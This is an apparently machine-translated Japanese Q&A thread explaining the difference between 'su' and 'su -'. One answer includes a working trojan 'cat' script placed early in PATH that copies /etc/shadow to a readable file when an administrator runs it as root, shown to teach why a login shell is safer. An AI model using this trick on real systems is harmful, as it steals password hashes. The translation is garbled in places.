suだけを使わずにsuを使うのはなぜですか?

suだけを使わずにsuを使うのはなぜですか?

なぜrootとしてログインするのがsu -優先されているのかわかりません。su

答え1

su -ユーザー切り替え後にログインシェルを呼び出します。ログインシェルはほとんどの環境変数をリセットし、きれいな基盤を提供します。

suユーザーを切り替えて、既存のユーザーとほぼ同じ環境の一般的なシェルを提供するだけです。

あなたがコンピュータへの一般ユーザーアクセスを持っているソフトウェア開発者であり、無知な管理者がrootアクセスを許可していないと想像してください。 (希望的に)彼をだましましょう。

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

これで、ホームフォルダでダミーファイルが利用できない理由を管理者に問い合わせてもcat機能しません。

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

管理者があまり賢くないか少し怠惰な場合は、管理者が机に来て自分のスーパーユーザー権限を使用しようとする可能性があります。

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

うわー!最高管理者ありがとうございます!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

へへ。

$PATH破損した変数はリセットされないことがわかります。管理者が呼び出すと、su -これは発生しません。

答え2

su -完全にrootとしてログインし、surootのように偽装することができます。

最も明確な例は、使用されて~いる場合はルートのホームディレクトリsu -、使用されている場合は独自のホームディレクトリですsu

システムによっては、PATHプロンプトまたは履歴ファイルの違いを意味する場合があります。

したがって、あなたがシステムを管理するチームの一員であり、同僚が実行コマンドを提供する場合はsu -su

一方、rootとしてコマンドを実行しますが、独自の設定を使用したい場合は、suこれが良いかもしれません。

また、rootとして実行されるシェルを起動するオプションがあることをsudo忘れないでください。-sもちろん、ここにも他のルールがあり、使用しているディストリビューションによって変わります。

答え3

主な違いは次のとおりです。

su - username指定されたユーザー環境変数にアクセスして使用する、指定されたユーザーのクリーンログインであるかのようにシェル環境を設定します。

su username指定したユーザーの現在の環境設定でシェルを起動します。

suユーザー名を使用せずに指定しないと、デフォルトではsu -rootアカウントが使用されます。

答え4

私は通常のユーザーとしてディレクトリにいますが、rootに切り替え、切り替え後に同じディレクトリに滞在したいときにsuを使用します。 su - を使用すると、ユーザーは root に切り替えられ、root ホームディレクトリ /root に移動されます。

関連情報